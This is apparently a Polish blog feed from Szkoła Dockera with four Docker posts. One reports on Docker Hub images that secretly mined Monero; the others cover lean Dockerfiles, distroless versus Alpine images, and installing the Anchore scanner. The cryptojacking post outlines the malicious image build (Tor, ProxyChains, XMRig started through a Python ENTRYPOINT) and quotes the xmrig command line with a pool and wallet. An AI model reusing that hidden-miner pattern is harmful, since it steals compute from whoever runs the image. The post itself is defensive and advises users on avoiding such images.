Security – Szkoła Dockera https://szkoladockera.pl Najlepsze miejsce dla entuzjastów konteneryzacji i Dockera Fri, 17 Jul 2020 07:04:53 +0000 pl-PL hourly 1 https://wordpress.org/?v=5.7.15 https://szkoladockera.pl/wp-content/uploads/2019/07/cropped-Shelftons-5-32x32.png Security – Szkoła Dockera https://szkoladockera.pl 32 32 Zarobili $36,000 USD z kopania kryptowalut przez podatne obrazy dockerowe na Docker Hub https://szkoladockera.pl/zarobili-36000-usd-z-kopania-kryptowalut-przez-podatne-obrazy-dockerowe-na-docker-hub/ https://szkoladockera.pl/zarobili-36000-usd-z-kopania-kryptowalut-przez-podatne-obrazy-dockerowe-na-docker-hub/#comments Fri, 17 Jul 2020 07:04:52 +0000 https://szkoladockera.pl/?p=2036 W ciągu ostatnich kilku lat kontenery (w ogromnej mierze za sprawą Dockera) stały się bardzo popularnym sposobem na uruchamianie usług czy aplikacji. Docker Hub stał się miejscem, gdzie zarówno społeczność jak i firmy udostępniają swój software w formie obrazów (docker image).  Jest to bez wątpienia jedna z największych zalet całego Dowiedz się więcej

Artykuł Zarobili $36,000 USD z kopania kryptowalut przez podatne obrazy dockerowe na Docker Hub pochodzi z serwisu Szkoła Dockera.

]]>
W ciągu ostatnich kilku lat kontenery (w ogromnej mierze za sprawą Dockera) stały się bardzo popularnym sposobem na uruchamianie usług czy aplikacji. Docker Hub stał się miejscem, gdzie zarówno społeczność jak i firmy udostępniają swój software w formie obrazów (docker image). 

Jest to bez wątpienia jedna z największych zalet całego ekosystemu Dockera. Pozwala to na szybkie uruchamianie wspomnianych wcześniej usług czy aplikacji, na podstawie gotowych obrazów. 

Dzięki temu każdy może skorzystać z tego dobrodziejstwa i w kilka sekund uruchomić interesujący go software, bez konieczności jego instalacji.

Cała ta sytuacja spowodowała wzrost zainteresowania wśród osób, które chciałyby na tym wszystkim zarobić – niekoniecznie w „legalny” sposób. 


Wprowadzenie

Aby jeszcze bardziej podkreślić popularność Dockera (i Docker Huba), spójrzmy na statystyki pobrań obrazów z 2019 roku.

Liczbę pobrań poszczególnych obrazów CZĘSTO mierzy się w MILIONACH, a gdyby tak to wszystko zsumować, to byłyby MILIARDY.

I są to miliardy. Łączna liczba pobrań obrazów na rok 2019 to 130 miliardów (130 000 000 000)

Statystyki pobrań obrazów z Docker Huba w 2019 roku


Kopanie kryptowalut w Dockerze – jak do tego doszło?

Każdy z nas jest w stanie założyć swoje własne i publiczne repozytorium obrazów na Docker Hub. Jeżeli jeszcze tego nie robiłeś, to obstawiam, że zrobisz to w mniej niż minutę.

Jeżeli repozytorium na Docker Hub jest publiczne, to każdy użytkownik Dockera (nawet bez konta na Docker Hub) może pobrać znajdujące się w nim obrazy.

Tę możliwość wykorzystały osoby, które postanowiły na tym wszystkim sobie zarobić.

Na Docker Hubie zostało odkryte konto o nazwie azurenql (aktywne od października 2019) zawierające osiem repozytoriów. Wewnątrz nich znajdowało się aż sześć obrazów, w których „zaszyto” skrypty odpowiadające za kopanie kryptowaluty Monero. Poniżej znajduje się screenshot konta azurenql oraz jego repozytoriów.

Podatne obrazy na Docker Hubie

Jak łatwo zauważyć na powyższym zdjęciu, obrazy pochodzące z konta azurenql były BARDZO chętnie pobierane przez użytkowników. Z mojego researchu wynika, że łączna liczba pobrań sześciu zawierających podatne skrypty obrazów to ponad DWA miliony (2 000 000).

Oczywiście po zidentyfikowaniu skryptów występujących w tych obrazach, całe konto zostało natychmiastowo zablokowane i skasowane z Docker Huba.

Zanim jeszcze konto zostało usunięte, jego adres URL był następujący hub.docker.com/u/azurenql


Co znajdowało się w podatnych obrazach?

Struktura jednego z podatnych obrazów w przybliżeniu wyglądała następująco.

  1. Użyj ubuntu 16.04 LTS jako obraz bazowy
    FROM ubuntu:16.04
  2. Zainstaluj narzędzia do kompilacji ze źródeł: gcc, make, python itp.
    RUN apt-get update && apt-get install …
  3. Zainstaluj narzędzie Tor. Dzięki temu ruch sieciowy był anonimowy, a Tor domyślnie działa na porcie 9050. 
  4. Wrzuć do obrazu źródła ProxyChains-NG i zbuduj je.
    COPY & RUN
  5. Wrzuć do obrazu źródła software’u do kopania kryptowalut XMRig i zbuduj je.
    COPY & RUN
  6. Wrzuć skrypt napisany w Pythonie – dao.py i ustaw go jako ENTRYPOINT.
    COPY & ENTRYPOINT [“python”, “dao.py”]

Nie ma tutaj nic skomplikowanego, prawda? ; )

Schemat powstania podatnych obrazów służących do kopania kryptowaluty Monero


W jaki sposób twórcy obrazu na tym zarabiali?

Sprawa wyglądała bardzo prosto. 

Po pobraniu obrazu i uruchomieniu na jego podstawie kontenera, w tle uruchamiał się wyżej omówiony skrypt dao.py, odpowiadający za kopanie kryptowaluty Monero.

Wrzucając podatny skrypt w ENTRYPOINT, twórcy obrazu zagwarantowali sobie, że skrypt uruchomi się ZAWSZE.

Jeżeli w infrastrukturze działa jakieś narzędzie do śledzenia ruchu sieciowego, takie operacje mogłyby zostać namierzone.

Aby trudniej było namierzyć problem, użyto narzędzi ProxyChains oraz Tor, których zadaniem w było blokowanie możliwości śledzenia ruchu wychodzącego z kontenera.

Dzięki temu, zanim namierzono problem, autorzy obrazów (i skryptów) cieszyli się i liczyli zarobione wirtualne pieniądze (co oczywiście ma przełożenie na prawdziwą walutę – $$).


Szukasz wiedzy na temat bezpieczeństwa obrazów & kontenerów?

Jeżeli jesteś zainteresowany bezpieczeństwem kontenerów i szukasz wiedzy z tego zakresu, to możesz znaleźć ją… u MNIE ; )

Kurs Docker Maestro

W kursie online Docker Maestro znajdziesz cały moduł poświęcony właśnie bezpieczeństwu. Od zabezpieczenia i weryfikacji obrazów, zarówno oficjalnych jak i tych, które tworzysz samodzielnie, aż po zabezpieczanie Docker Hosta. Cały kurs to łącznie 12 modułów i blisko 13 godzin praktycznej wiedzy.

Konsultacje

Istnieje możliwość umówienia się ze mną na konsultację 1:1. Podczas takiej konsultacji dogłębnie analizuję problem, z którym się mierzysz. Może to być problem z tematu bezpieczeństwa obrazów i kontenerów. Więcej szczegółów na temat oferowanych przeze mnie konsultacji z konteneryzacji i Dockera znajdziesz TUTAJ

Dedykowane Szkolenia z Dockera dla firm

Wychodzę naprzeciw z ofertą dedykowanych szkoleń z Dockera, które przeprowadzę w siedzibie Twojej firmy, bądź też online.

Co ważne, agenda szkolenia nie jest sztywna. Każdej szkolenie jest dostosowane do potrzeb i poziomu zaawansowania odbiorców. Inaczej mówiąc – szkolenie jest szyte na miarę. Więcej szczegółów znajdziesz TUTAJ


Ile na tym wszystkim ktoś zarobił?

Wewnątrz skryptu odpowiadającego za kopanie kryptowaluty Monero, znajdowało się odwołanie do wirtualnego portfela kryptowalut. 

ID portfela:

43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf

Poniżej natomiast znajduje się fragment skryptu, który odnaleziono w jednym z podatnych obrazów.

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

Co ciekawe, ostatnia aktywność portfela została zanotowana w kwietniu i maju 2020. Być może w chwili, gdy to czytasz, ktoś nadal czerpie z tego zyski ; )

Aktywność wirtualnego portfela

Statystyki te pochodzą z portalu http://minexmr.com/

Sprawdzając stan wirtualnego portfela (na podstawie ID portfela zamieszczonego w podatnym skrypcie), okazuje się, że zarobiono na tym 525.38 XMR, co po przeliczeniu i zaokrągleniu daje $36,000 dolarów.


Jak nie zostać ofiarą?

Pewnie zaraz po informacji, w jaki sposób ktoś zarobił te tysiące dolarów, ciekawi Cię jak NIE dać się wyrolować i nie zostać ofiarą.

Po pierwsze korzystaj z OFICJALNYCH obrazów. Omawiany obraz azurenql NIE BYŁ obrazem oficjalnym. Jego nazwa była zbliżona do obrazów znajdujących się w repozytorium Microsoftu, co mogło sprawić, że został on pobrany na tak dużą skalę, a co za tym idzie – umożliwił pewnym osobom troszkę zarobić :))

Po drugie: nawet jeśli obraz jest oficjalny, to mimo wszystko rekomenduję korzystanie z narzędzi służących do SKANOWANIA pod kątem bezpieczeństwa. Przykładem takiego narzędzia jest Anchore, którego działanie opisywałem TUTAJ.

TLDR; Anchore można uruchomić we własnej infrastrukturze. Jeśli szukasz jednak narzędzii w modelu “As a Service” – Snyk.io może Cię zainteresować.

PS. Podziel się proszę tym wpisem ze znajomymi lub kolegami z pracy – i nie dajcie się „shakować”. No bo dlaczego ktoś ma zarabiać na waszej infrastrukturze? ; )

PPS. Jeżeli chcesz otrzymywać informacje o nowych wpisach na blogu – scrolnij nieco w dół i zapisz się do newslettera.

Po trzecie: zadbaj o bezpieczeństwo zarówno obrazów, które tworzysz, jak i Twojego Docker hosta, gdzie uruchamiasz kontenery.

Po czwarte: NIGDY, ale to przenigdy nie otwieraj na świat portu 2375. Robiąc to, udostępniasz na świat WSZYSTKIM dostęp do Twojego Docker hosta.


Kilka słów na koniec

Ta historia pokazuje, że uruchamianie „na ślepo” obrazów z Docker Huba może mieć różne konsekwencje dla ofiary. W tym przypadku była to strata w postaci zużycia zasobów. Twórcom tego wytrychu przyniosło to z kolei spore korzyści $$. (Bo jak nie wiadomo, o co chodzi, to chodzi o pieniądze)

Pamiętaj jednak, że celem kolejnego takiego „ataku” może być na przykład przejęcie całego Docker hosta.

Mam nadzieję, że po tym artykule, już od zawsze będziesz bynajmniej sprawdzać, czy obraz, którego planujesz użyć, jest OFICJALNYM obrazem oraz czy pochodzi od „zaufanego” dostawcy.

Być może ta historia skłoni Cię również do poświęcania uwagi bezpieczeństwu tworzonych obrazów, oraz sprawi, że zaczniesz dbać również o bezpieczeństwa Docker hosta – czyli miejsca, gdzie uruchamiane są kontenery.


Artykuł Zarobili $36,000 USD z kopania kryptowalut przez podatne obrazy dockerowe na Docker Hub pochodzi z serwisu Szkoła Dockera.

]]>
https://szkoladockera.pl/zarobili-36000-usd-z-kopania-kryptowalut-przez-podatne-obrazy-dockerowe-na-docker-hub/feed/ 1
Tworzenie lekkich i optymalnych obrazów dockerowych https://szkoladockera.pl/tworzenie-lekkich-i-optymalnych-obrazow-dockerowych/ https://szkoladockera.pl/tworzenie-lekkich-i-optymalnych-obrazow-dockerowych/#respond Wed, 17 Jun 2020 08:24:12 +0000 https://szkoladockera.pl/?p=1869 Tworzenie obrazów dockerowych Tworzenie obrazów dockerowych to temat rzeka. Dla każdej technologii obraz będzie wyglądał nieco inaczej. Są jednak pewne „wspólne” dobre praktyki, które możemy stosować niezależnie od technologii, w której stworzona została aplikacja. Przypomnijmy, że to obraz to działająca instancja kontenera. Jeżeli chcesz, by Twoje kontenery po uruchomieniu były Dowiedz się więcej

Artykuł Tworzenie lekkich i optymalnych obrazów dockerowych pochodzi z serwisu Szkoła Dockera.

]]>
Tworzenie obrazów dockerowych

Tworzenie obrazów dockerowych to temat rzeka. Dla każdej technologii obraz będzie wyglądał nieco inaczej. Są jednak pewne „wspólne” dobre praktyki, które możemy stosować niezależnie od technologii, w której stworzona została aplikacja.

Przypomnijmy, że to obraz to działająca instancja kontenera. Jeżeli chcesz, by Twoje kontenery po uruchomieniu były lekkie i bezpieczne — koniecznie stosuj dobre praktyki podczas tworzenia obrazów

Zacznij od ustalenia konkretnej wersji obrazu bazowego

Może to się wydawać oczywiste, ale wiele osób zapomina o ustaleniu konkretnej wersji obrazu bazowego. Dlaczego jest to takie ważne?

Ten kod:

FROM node

WORKDIR /app

COPY package.json .
RUN npm install
COPY . .

CMD ["node", "server.js"]

Zastąp tym:

FROM node:14.4

WORKDIR /app

COPY package.json .
RUN npm install
COPY . .

CMD ["node", "server.js"]

Jeżeli nie podasz konkretnej wersji, to domyślną wersją obrazu będzie latest, która każdej chwili może zostać zaktualizowana na Docker Hubie.

W chwili przeprowadzania testów wszystko działało, a nagle po upływie kilku miesięcy…

NIE DZIAŁA.

Zastanawiasz się, co może być przyczyną. Spędzasz masę czasu na znalezienie problemu. Okazuje się, że obraz z tagiem :latest został w tym czasie kilkukrotnie zaktualizowany (w obrazie wprowadzono zmiany), co spowodowało, że Twoja aplikacja zachowuje się teraz inaczej.

Poszukaj minimalnego obrazu bazowego

Ten kod:

FROM node:14.4.0

WORKDIR /app

COPY package.json .
RUN npm install
COPY . .

CMD ["node", "server.js"]

Zastąp tym:

FROM node:14.4.0-buster-slim

WORKDIR /app

COPY package.json .
RUN npm install
COPY . .

CMD ["node", "server.js"]

Dzięki temu otrzymujemy oszczędność około ~250MB na rozmiarze obrazu, co oznacza szybszy czas budowania, pobierania i pushowania do Docker Registry.

Korzystaj z pliku .dockerignore

.git
node_modules
build

Na pewno kojarzysz i wiesz do czego służy plik .gitignore w przypadku systemu kontroli wersji Git. Aby wykluczyć niepotrzebne pliki z procesu budowania obrazu (bez konieczności zmian twojego katalogu), użyj pliku .dockeringore. Docker tworząc to rozwiązanie, wzorował się na .gitignore (które to podejście zapewne doskonale znasz). Przykładem mogą być zbudowane paczki lub pliki wykonywalne (.dll, .exe, katalog node_modules itp), utworzone lokalnie podczas developmentu aplikacji.

Przygotowując kontener, nie chcemy ich kopiować. Chcemy, by zostały one zbudowane na nowo wewnątrz kontenera.

Już to wiem, ale jak ogarnąć resztę?

Są dwie drogi.

Pierwsza z nich to dołączenie do programu Docker Maestro, czyli najbardziej obszernego kursu online z Docker po polsku. Budowanie własnych obrazów to tylko mały fragment tego co znajduje się w całym kursie. Łącznie znajdziesz tam:

12 modułów
89 lekcji
Wiedza w pigułce
Praktyka & teoria


Od podstaw aż po zaawansowane tematy.

Jeżeli jednak z jakichś powodów nie możesz dołączyć do Docker Maestro, to zachęcam do obejrzenia poniższego wideo, gdzie na przykładzie dwóch aplikacji — ReactJS oraz NodeJS pokazuję jak optymalizować swoje obrazy.

Jest to tylko przykład i nawet jeśli na co dzień używasz innych technologii, poprzez analogię możesz przenieść te dobre praktyki do siebie.

1. Co robić by po zbudowaniu nie ważyły setek megabajtów?
2. Jak zadbać o ich bezpieczeńśtwo?
3. A co z obrazami bazującymi na Alpine Linux
4. Jakich narzędzi używać, by ciągle pilnować ich jakości?

Zapraszam do oglądania!

Jak już obejrzysz, to wpadnij na stronę Docker Maestro i sprawdź TRZY darmowe lekcje DEMO.

Dzięki i do usłyszenia!



Artykuł Tworzenie lekkich i optymalnych obrazów dockerowych pochodzi z serwisu Szkoła Dockera.

]]>
https://szkoladockera.pl/tworzenie-lekkich-i-optymalnych-obrazow-dockerowych/feed/ 0
Distroless Docker Images vs Alpine Linux https://szkoladockera.pl/distroless-docker-images-vs-alpine-linux/ https://szkoladockera.pl/distroless-docker-images-vs-alpine-linux/#respond Thu, 12 Mar 2020 07:34:50 +0000 https://szkoladockera.pl/?p=1403 Distroless Images Na początku, gdy zaczęto używać kontenerów, większość z nas traktowała je jako bardziej wydajne VM-ki. Jeżeli spojrzymy na obrazy na Docker Hubie, publikowane przez dostawców systemów operacyjnych, możemy dostrzec, że w większości przypadków kopiują oni do obrazów to, co do tej pory dostarczali jako cały system operacyjny. Zwykle, Dowiedz się więcej

Artykuł Distroless Docker Images vs Alpine Linux pochodzi z serwisu Szkoła Dockera.

]]>
Distroless Images

Na początku, gdy zaczęto używać kontenerów, większość z nas traktowała je jako bardziej wydajne VM-ki. Jeżeli spojrzymy na obrazy na Docker Hubie, publikowane przez dostawców systemów operacyjnych, możemy dostrzec, że w większości przypadków kopiują oni do obrazów to, co do tej pory dostarczali jako cały system operacyjny. Zwykle, obrazy są okrajane tylko o niektóre, niepotrzebne ich zdaniem paczki / binarki.

Pomimo tego, obrazy nadal są za ciężkie, zajmując na dysku setki megabajtów. To spowodowało wzrost popularności dystrybucji takich jak Alpine. Czy kiedykolwiek wcześniej wykorzystywałeś Alpine, zanim zaczęto go używać w obrazach dockerowych? Ja nie.

Dlaczego zaczęto stosować Alpine Linux do obrazów bazowych?

Głównym powodem, dla którego zaczęto na potęgę wykorzystywać Alpine, jest oczywiście jego rozmiar. 5 MB — tyle waży obraz Alpine. W porównaniu do np. Debiana (125 MB) lub Ubuntu (188MB) jest to spora różnica. W pewnym momencie, z uwagi na rozmiar obrazów, Docker Hub zaczął mieć problemy wydajnościowe. Te problemy z czasem zostały zażegnane, lecz popularność Alpine nadal rosła.

Pojawia się zatem pytanie. Co jest złego w stosowaniu Alpine Linux?

Docker alpine

Wady Alpine Linux

Pomimo że Alpine Linux jest ultralekki, nadal jego zachowanie może być porównane do wirtualnej maszyny. Dlaczego?

Stosując obraz Alpine, nadal możemy korzystać z shell’a a nawet z managera pakietów. No właśnie, manager pakietów…

1. Brakujące pakiety

Zdarzały się przypadki, w których brakowało podstawowych pakietów. Coś, co innych dystrybucjach takich jak Debian mamy pewne. Przykład – brakująca paczka MySQL.

2. Różnice w repozytoriach dla różnych wersji Alpine

Każda wersja Alpine Linux posiada własny manager pakietów i niestety nie przechowuje archiwalnych wersji. Przykładowo w wersji Alpine 3.5, dostępna paczka Node.js może być w wersji 2.0, w Alpine 3.4 będzie już w wersji 1.9. Chcąc używać Node.js w wersji 1.9, musimy opierać się o starszą wersje Alpine.

3.  Brak glibc

Jeśli cokolwiek w życiu kompilowałeś (np. na studiach) to zakładam że w 90% przypadków korzystałeś z glibc. Alpine zastąpił glibc własnym stworem o nazwie musl. Osobiście, natknąłem się na ten problem w momencie w którym aplikacja webowa uruchomiona w kontenerze na bazie Debiana działała poprawnie, a wewnątrz kontenera na bazie Alpine, już nie

Jeżeli chcesz by Twoja aplikacja działała poprawnie, musisz skompilować ją w środowisku wykorzystującym musl.

4. Stabilność

Obecnie obraz dockerowy Alpine Linux jest rozwijany jako projekt open-source.

Poszperałem nieco tu i ówdzie i co znalazłem?

Okazuje się, że aktywnie rozwija go zaledwie kilka osób. A do zatwierdzenia zmiany w repozytorium wystarczą dwie (!), powtarzam, dwie osoby (na dzień pisania tego artykułu). Przykład pull requesta — TUTAJ

Czy w swoich obrazach, chcesz bazować na czymś, czego jakość sprawdza dwie osoby?

Zauważyłem też, że repozytorium z powyższego linka, w którym widnieją osoby rozwijające, zostało przeniesione do https://github.com/alpinelinux/docker-alpine, gdzie kontrybutorem jest tylko jedna osoba. Na Docker Hubie widnieje już adres nowego repozytorium Githuba. Dlaczego?

5. Wydajność

Szukając informacji o wydajności Alpine, natrafiłem na post na Reddicie, w którym mowa o aplikacji Node.js. Jeden z użytkowników twierdzi, że jego aplikacja działała 15% wolniej używając Alpine jako obraz bazowy w porównaniu do Debiana.

Inny przykład to aplikacja w Pythonie. Bardzo ciekawy artykuł opisujący wady Alpine Linux w porównaniu do Ubuntu.

6. Bezpieczeństwo

Nie wiele narzędzi do skanowania obrazów „radzi” sobie z obrazami bazującymi na Alpine. Jeżeli skanowałeś obrazy narzędziami takimi jak Anchore czy Clair, które nie wykryły żadnych podatności – polecałbym porównać wyniki skanowania z wynikami uzyskanymi narzędziem trivy.


Distroless Docker Images

W związku z problemami z rozmiarem obrazów oraz wyżej wymienionymi wadami Alpine Linux nie kto inny jak firma Google, zaprezentowała światu Distroless Images.

Nie muszę chyba przypominać, że to jak zachowuje się nasz kontener, zależy od obrazu, na podstawie którego został utworzony. Co zatem takiego kryje się pod słowem distroless?

Ideą distroless jest zbudowanie minimalnego obrazu zawierającego tylko aplikację i jej zależności.

$ docker pull gcr.io/distroless/base

Rozmiar powyższego obrazu to tylko ~16 MB.

Obraz jest pozbawiony managera pakietów, shell’a (!) oraz innych programów, które możesz znaleźć w tradycyjnej dystrybucji.

UWAGA: brak shella oznacza, że nie mamy możliwości wejścia do kontenera poprzez wykonanie polecenia docker exec -it <container> sh

$ docker run -it gcr.io/distroless/base /bin/sh
docker: Error response from daemon: OCI runtime create failed: container_linux.go:348: 
starting container process caused 
"exec: \"/bin/sh\": stat /bin/sh: no such file or directory": unknown

Brak shell’a został wprowadzony celowo, z uwagi na bezpieczeństwo. Często przekazujemy sekrety do kontenera jako zmienne środowiskowe. Może być to na przykład connection string do bazy danych. W tradycyjnych obrazach atakujący może go wyłuskać, wchodząc do kontenera i podglądnąć zmienne środowiskowe.

Pojawia się zatem problem – Jak można debuggować kontener, jeżeli nie ma shella?

W razie takiej potrzeby, jednym z podejść jest stworzenie kontenera bazującego na obrazie z tagiem :debug. Obrazy z tym tagiem, mają wbudowany shell.


Przykłady obrazów distroless

Obrazy distroless bazują na na Debianie (wersja 9 i 10). Wszystkie gotowe obrazy możemy znaleźć w oficjalnym repozytorium Google – gcr.io.

Oprócz „czystych” obrazów, możemy znaleźć obrazy dedykowane do języków/technologii. Jednak według Google’a, należy je stosować z rozwagą (na czas pisania tego artykułu, nie są rekomendowane na produkcję)

Tworzenie własnych obrazów w oparciu o distroless

Chcąc samemu tworzyć obrazy distroless, możemy użyć dwóch podejść.

Pierwszym podejściem jest wykorzystanie Docker multi-stage builds. Wystarczy zastosować się do dwóch kroków:

  1. Wybierz obraz bazowy odpowiadający Twojej aplikacji
  2. Stwórz Dockerfile w trybie multi-stage build

Poniżej znajdziesz Dockerfile budujący obraz distroless dla aplikacji Node.js.

FROM node:10.17.0 AS build-env
ADD . /app
WORKDIR /app

FROM gcr.io/distroless/nodejs
COPY --from=build-env /app /app
WORKDIR /app
CMD ["hello.js"]

Budujemy obraz tradycyjnie:

$ docker build . -t myapp:distroless


Druga metoda na tworzenie obrazów distroless to użycie narzędzia Bazel.

Podstawową kwestią jest stworzenie pliku BUILD.  Poniżej znajduję się zawartość pliku BUILD. Cały przykład, wraz z plikami *.js znajdziesz TUTAJ

package(default_visibility = ["//visibility:public"])

load("@io_bazel_rules_docker//container:container.bzl", "container_image")

# These examples are adapted from:
# https://howtonode.org/hello-node
container_image(
    name = "hello",
    base = "//experimental/nodejs:nodejs",
    cmd = ["hello.js"],
    files = [":hello.js"],
)

container_image(
    name = "hello_http",
    base = "//experimental/nodejs:nodejs",
    cmd = ["hello_http.js"],
    files = [":hello_http.js"],
    ports = ["8000"],
)

load("@io_bazel_rules_docker//contrib:test.bzl", "container_test")

container_test(
    name = "hello_test",
    configs = ["testdata/hello.yaml"],
    image = ":hello",


Podsumowanie

Pomimo lekkości obrazu Alpine, okazuje się że nie jest on taki idealny. Licznie opublikowane problemy z wydajnością oraz braki niektórych pakietów mogą dawać do myślenia.

Alternatywą są obrazy distroless, które oprócz lekkości, zapewniają bezpieczeństwo. Ich atutem jest fakt, że są rozwijane przez Google oraz stosowane w rozwiązaniach produkcyjnych wraz z Kubernetes.

Na sam koniec, jeśli zastanawiasz się co wybrać – Distroless vs Alpine, wystarczy odpowiedzieć sobie na pytanie: Czy wolisz stosować coś co jest rozwijane przez firmę Google czy też coś nad czym czuwają dwie osoby?

Dla mnie odpowiedź jest prosta.

Artykuł Distroless Docker Images vs Alpine Linux pochodzi z serwisu Szkoła Dockera.

]]>
https://szkoladockera.pl/distroless-docker-images-vs-alpine-linux/feed/ 0
Skanowanie obrazów Dockerowych pod kątem bezpieczeństwa z Anchore https://szkoladockera.pl/skanowanie-obrazow-dockerowych-pod-katem-bezpieczenstwa-z-anchore/ https://szkoladockera.pl/skanowanie-obrazow-dockerowych-pod-katem-bezpieczenstwa-z-anchore/#respond Thu, 06 Feb 2020 06:30:12 +0000 https://szkoladockera.pl/?p=1157 W dzisiejszym artykule skupimy się na temacie skanowania obrazów pod kątem bezpieczeństwa za pomocą narzędzia Anchore. Pokażę Ci, w jaki sposób możesz przeskanować obraz Twojej aplikacji lub oficjalnie obrazy dostępne na Docker Hub. Spis treści W artykule poruszymy następujące kwestie: Dlaczego do skanowania obrazów używam Anchore? Architektura Anchore Anchore – Dowiedz się więcej

Artykuł Skanowanie obrazów Dockerowych pod kątem bezpieczeństwa z Anchore pochodzi z serwisu Szkoła Dockera.

]]>
W dzisiejszym artykule skupimy się na temacie skanowania obrazów pod kątem bezpieczeństwa za pomocą narzędzia Anchore. Pokażę Ci, w jaki sposób możesz przeskanować obraz Twojej aplikacji lub oficjalnie obrazy dostępne na Docker Hub.

Spis treści

W artykule poruszymy następujące kwestie:

  • Dlaczego do skanowania obrazów używam Anchore?
  • Architektura Anchore
  • Anchore – wymagania wstępne i instalacja
  • Skanowanie obrazów: centos, nginx, aspnetcore

Skanowanie obrazów

Aby sprawdzić działanie Anchore, posłużymy się trzema oficjalnymi obrazami z Docker Hub. Będzie to kolejno: centos, nginx oraz aspnetcore.

Dlaczego wybrałem te obrazy?

Docker opublikował raport prezentujący najpopularniejsze obrazy w roku 2019.
Zarówno nginx jak i centos, znalazły się w TOP 10 najczęściej wyszukiwanych obrazów.

Obraz aspnetcore jest mi szczególnie bliski, ponieważ jak pewnie wiesz, na co dzień oprócz tematów związanych z Dockerem, zajmuję się projektowaniem i tworzeniem aplikacji, korzystając z frameworka ASP NET Core.

Źródło: https://www.docker.com/blog/introducing-the-docker-index/?fbclid=IwAR3QCy9cAnMrEO4L-PwRvlDrqbRCZWAlHF-jg9JZbhO8D141DVMflyHZI_Y


Dlaczego Anchore?

Anchore jest moim zdaniem jednym z najlepszych narzędzi open-source służącym do wykrywania podatności w obrazach Dockerowych.


Po pierwsze, Anchore posiada bardzo dobrą dokumentację. Czy wyobrażasz sobie korzystanie z jakiegoś narzędzia bez dokumentacji? Ja nie.

Po drugie posiada community, które ciągle wspomaga jego rozwój. Z reguły, gdy rozpoznaje narzędzia open-source, skupiam się właśnie na tych dwóch czynnikach – dokumentacja i community.

Na GitHubie można znaleźć wiele interesujących projektów, jednak często brak dokumentacji sprawia, że giną one śmiercią naturalną. Jeżeli Anchore nie spełnia Twoich oczekiwań, sprawdź koniecznie mój wpis na temat innych narzędzi, które polecam. Wpis dostępny jest TUTAJ.

Po trzecie, Anchore integruje się z systemami CI / CD. Przykładowo, istnieje plugin integrujący Anchore z Jenkinsem. Uważam jednak, że Anchore może zostac zintegrowany niemal z każdym narzędziem CI / CD. Wynika to z jego architektury, którą za chwilę poznasz.

Polecam przeczytać chociaż pierwsze fragmenty poprzedniego wpisu, aby zrozumieć skąd podatności znajdują się w obrazach oraz dlaczego należy je skanować.


Anchore – architektura

Spójrz proszę na poniższy obrazek, prezentujący architekturę Anchore. Komponenty w czerwonej ramce, są cześcią Anchore Enterprise – czyli płatnej wersji Anchore. My skupimy się głównie na komponentach wchodzących w skład Anchore open-source (w niebieskich ramkach).

Jak łatwo zauważyć na powyższym diagramie, Anchore został podzielony na 4 warstwy:

  • Warstwa kliencka
  • Warstwa API
  • Warstwa stanu
  • Warstwa „robocza”

Anchore CLI – to nic innego jak klient, który komunikuje się za pomocą REST z Anchore API.

Anchore API – kluczowa część architektury. Odbiera komunikaty od Anchore CLI a następnie komunikuje się z komponentami z warstwy State Tier

Catalog – odpowiada za zarządzanie stanem. Przechowuje dane niestrukturalne – np. pliki w formacie JSON (rezultat skanowania)

Policy Engine – wczytuje rezultaty skanowania pochodzące z Catalog a następnie normalizuje niestrukturalne dane, tak by można było je filtrować oraz weryfikować pod kątem zdefiniowanych polityk.

SimpleQueque – kolejka PostgreSQL używana przez pozostałe komponenty do asynchronicznych operacji (rozkazy, notyfikacje)

Analyzer – pobiera obrazy z Docker Registry (Docker Hub lub inne) i przeprowadza skanowanie. Odbiera rozkazy od SimpleQueque, a następnie po zakończeniu skanowania przekazuje rezultaty do Catalog oraz PolicyEngine.


Anchore – wymagania wstępne

Rekomendacją ze strony producenta jest minimum 4GB RAM i 10GB miejsca na dysku. Upewnij się, że maszyna na której będzie działać Anchore, spełnia te wymagania. Osobiście przeprowadziłem testy na maszynie z 2GB RAM i okazało się nie wystarczająco. Na szczęście była to maszyna wirtualne na Azure, więc przesunięcie suwaka w prawo załatwiło sprawę 🙂

Ważne. Całość poniżej prezentowanych poleceń została wykonana na Linuxie, a dokładniej na Ubuntu 18.04.


Anchore – instalacja

Istnieją dwie opcje na zainstalowanie Anchore – sposób tradycyjny oraz poprzez użycie Dockera. Jak można się łatwo domyślić – wybrałem opcję nr 2 🙂

Okey, czas na konfigurację i instalację. Postępuj zgodnie z instrukcją poniżej.

Stwórz katalog do przechowywania plików konfiguracyjnych

$ mkdir ~/aevolume && cd ~/aevolume

Skopiuj pliki konfiguracyjne

Wewnątrz obrazu anchore-engine, znajduje się plik docker-compose.yml, który posłuży do uruchomienia Anchore. Pobierz zatem obraz anchore-engine.

$ docker pull docker.io/anchore/anchore-engine:latest

Skopiuj plik docker-compose.yml do Twojego katalogu roboczego.

$ docker create --name ae docker.io/anchore/anchore-engine:latest
$ docker cp ae:/docker-compose.yaml ~/aevolume/docker-compose.yaml
$ docker rm ae

Upewnij się, że plik docker-compose.yml został poprawnie skopiowany do Twojego katalogu roboczego.

$ ls ~/aevolume
docker-compose.yaml

Pobierz i uruchom kontenery Anchore

Przejdź do katalogu roboczego i pobierz wszystkie niezbędne obrazy

$ cd ~/aevolume
$ docker-compose pull

Teraz nadszedł czas na uruchomienie. Jest tutaj jednak mała uwaga. Podczas pierwszego uruchomienia, Anchore musi pobrać bazę wszystkich podatności na dysk. Może to potrwać do 10 minut. Dlatego przed uruchomieniem całości, należy ustawić zmienną środowiskową COMPOSE_HTTP_TIMEOUT. Dla bezpieczeństwa ustawimy ją na 1000 sekund. Jeżeli Twoje połączenie internetowe jest kiepskie, ta wartość może być niewystarczająca.

$ COMPOSE_HTTP_TIMEOUT=1000 docker-compose up -d

Starting aevolume_anchore-db_1 ... done
Starting aevolume_engine-catalog_1 ... done
Starting aevolume_engine-api_1           ... done
Starting aevolume_engine-analyzer_1      ... done
Starting aevolume_engine-policy-engine_1 ... done
Starting aevolume_engine-simpleq_1       ... done

Upewnij się, że wszystkie usługi zostały uruchomione poprawnie

$ docker-compose ps

